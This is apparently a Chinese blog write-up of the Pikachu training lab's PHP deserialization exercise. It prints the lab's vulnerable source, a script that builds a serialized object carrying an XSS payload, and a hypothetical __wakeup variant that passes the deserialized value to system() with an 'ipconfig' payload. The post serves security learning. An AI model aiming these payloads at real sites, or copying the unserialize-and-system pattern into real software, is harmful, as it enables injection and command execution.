Pikachu-php反序列化

之前有篇文章详细介绍了php反序列化的原理,这里就不再多说

做一下这个靶场练练手

 

 

0x01 源码审计

 

目前我的理解是挖掘反序列化就需要知道该接口的类、对象、参数这些的详情,

以及魔术方法的情况。

这里的调用比较简单,看看源码

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */


$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "unser.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';


class S{
    var $test = "pikachu";
    function __construct(){
        
        echo $this->test;
        
    }
}


$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
        
    }

}
?>

 

链子调用分析

 

这里的是S类,里面只有1个$test变量,魔术方法是__construct,这个方法是用于

在创建对象时候初始化对象,一般用于对变量赋初值的。

然后再看判断,简单来说就是我们传入成功的反序列化字符串s,就会执行到else里面对其进行打印输出。

if(!@$unser = unserialize($s))  这个if语句我纠结了半天,没懂。

后来在大哥解释下   意思是把反序列化的结果1赋值给$unser,如果反序列化成功那么就是有值的也就会进入else,否则进入if下面语句 攻击失败!!

ps:at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。

 

0x02 构造链子

那么我们只需要构造正确的序列化字符串就行了:

<?php
class S{
    var $test = "pikachu";
}
$f = new S();
$payload = "<script>alert(1)</script>";
$f->test=$payload;
echo serialize($f);
?>

根据源码的S类创建一个对象$f,用该对象去调用类里面的$test,重写成我们的payload

然后序列化输出

 

 得到序列化结果 我们注入,成功弹窗

payload:O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}

 

 

 

 

 

 

0x03 总结再思考

 

前面已经说过这里是通过else后的语句触发漏洞的,如果这里魔术方法是__wakeup,也就是在unserialize后自动调用的方法里面写到

function __wakeup(){
    
    system($this->test);
    }

这里只是想模拟一下能命令执行的反序列化场景

这样就能在我们执行到if判断中执行unserialize时候触发,就会回调__wakeup,执行里面的sysytem函数

那么我们构造的代码应该是:

<?php
class S{
    var $test = "pikachu";
}
$f = new S();
$payload = "ipconfig";
$f->test=$payload;
echo serialize($f);
?>

序列化后的结果:

O:1:"S":1:{s:4:"test";s:8:"ipconfig";}

此时修改过后的php靶场被注入就命令执行了:

 

 

 

学到了一点点,还是不能着急, 安全之路 少就是多,慢就是快~~

posted @ 2021-11-25 16:04  Erichas  阅读(504)  评论(0编辑  收藏  举报